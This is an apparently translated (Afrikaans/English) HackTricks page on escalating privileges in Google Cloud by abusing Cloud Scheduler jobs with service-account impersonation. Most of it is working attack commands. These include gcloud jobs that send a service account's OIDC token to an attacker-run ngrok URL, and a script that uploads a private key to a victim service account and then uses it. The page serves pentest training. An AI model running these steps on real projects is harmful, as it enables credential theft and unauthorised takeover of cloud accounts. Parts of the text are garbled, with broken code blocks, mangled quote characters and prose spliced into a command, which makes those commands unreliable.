GCP - Cloud Scheduler Privesc
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Cloud Scheduler
Meer inligting in:
cloudscheduler.jobs.create , iam.serviceAccounts.actAs, (cloudscheduler.locations.list)
Ć Aanvaller met hierdie toestemmings kan Cloud Scheduler misbruik om cron jobs as ân spesifieke Service Account te autentiseer. Deur ân HTTP POST-versoek op te stel, skeduleer die aanvaller handelinge, soos die skep van ân Storage bucket, om uit te voer onder die identiteit van die Service Account. Hierdie metode benut die Scheduler se vermoĂ« om *.googleapis.com endpunte te teiken en versoeke te autentiseer, wat die aanvaller toelaat om Google API-endpunte direk te manipuleer deur ân eenvoudige gcloud opdrag te gebruik.
- Kontak enige Google API via
googleapis.commet ân OAuth token header
Skep ân nuwe Storage bucket:
Skep 'n Cloud Scheduler-taak om 'n GCS-bucket via die API te skep
```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=Om voorregte te eskaleer, ân attacker maak net ân HTTP request wat die gewenste API teiken en die gespesifiseerde Service Account naboots
- Exfiltrate OIDC service account token
Skep Cloud Scheduler job om exfiltrate OIDC token
```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']Listen in the ngrok address to get the OIDC token in clear text.
</details>
As jy die HTTP-antwoord moet nagaan, kan jy net **na die logs van die uitvoering kyk**.
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
Soos in die vorige scenario is dit moontlik om **'n reeds geskepte Cloud Scheduler by te werk** om die token te steel of aksies uit te voer. Byvoorbeeld:
<details><summary>Werk bestaande Cloud Scheduler-job by om exfiltrate OIDC token</summary>
```bash
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
Nog ân voorbeeld om ân private key na ân SA op te laai en dit te impersonate:
Laai 'n private key op na 'n Service Account via Cloud Scheduler en impersonate dit
```bash # Generate local private key openssl req -x509 -nodes -newkey rsa:2048 -days 365 \ -keyout /tmp/private_key.pem \ -out /tmp/public_key.pem \ -subj "/CN=unused"Remove last new line character of the public key
file_size=$(wc -c < /tmp/public_key.pem) new_size=$((file_size - 1)) truncate -s $new_size /tmp/public_key.pem
Update scheduler to upload the key to a SA
For macOS: REMOVE THE -w 0 FROM THE BASE64 COMMAND
gcloud scheduler jobs update http scheduler_lab_1
âschedule=â* * * * *â
âuri=âhttps://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=jsonâ
âmessage-body=â{"publicKeyData": "$(cat /tmp/public_key.pem | base64 -w 0)"}â
âupdate-headers âContent-Type=application/jsonâ
âlocation us-central1
âoauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com
Wait 1 min
sleep 60
Check the logs to check it worked
gcloud logging read âresource.type=âcloud_scheduler_jobâ AND resource.labels.job_id=âscheduler_lab_1â AND resource.labels.location=âus-central1â
jsonPayload.@type=âtype.googleapis.com/google.cloud.scheduler.logging.AttemptFinishedââ âlimit 10 âproject
If any ââstatusâ: 200â it means it worked!
Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: âstatusâ: 400
Build the json to contact the SA
Get privatekey in json format
file_content=$(<â/tmp/private_key.pemâ) private_key_json=$(jq -Rn âarg str â$file_contentâ â$strâ)
Get ID of the generated key
gcloud iam service-accounts keys list âiam-account=victim@$PROJECT_ID.iam.gserviceaccount.com
Create the json in a file
NOTE that you need to export your project-id in the env var PROJECT_ID
and that this script is expecting the key ID to be the first one (check the head)
export PROJECT_ID=⊠cat > /tmp/lab.json <<EOF { âtypeâ: âservice_accountâ, âproject_idâ: â$PROJECT_IDâ, âprivate_key_idâ: â$(gcloud iam service-accounts keys list âiam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d â â -f 1 | grep -v KEY_ID | head -n 1)â, âprivate_keyâ: $private_key_json, âclient_emailâ: âscheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.comâ, âclient_idâ: â$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d âââ -f 2)â, âauth_uriâ: âhttps://accounts.google.com/o/oauth2/authâ, âtoken_uriâ: âhttps://oauth2.googleapis.com/tokenâ, âauth_provider_x509_cert_urlâ: âhttps://www.googleapis.com/oauth2/v1/certsâ, âclient_x509_cert_urlâ: âhttps://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.comâ, âuniverse_domainâ: âgoogleapis.comâ } EOF
Activate the generated key
gcloud auth activate-service-account âkey-file=/tmp/lab.json
</details>
## Verwysings
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
> [!TIP]
> Leer & oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer & oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer & oefen Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Ondersteun HackTricks</summary>
>
> - Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Sluit aan by die** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** ons op **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Deel hacking tricks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
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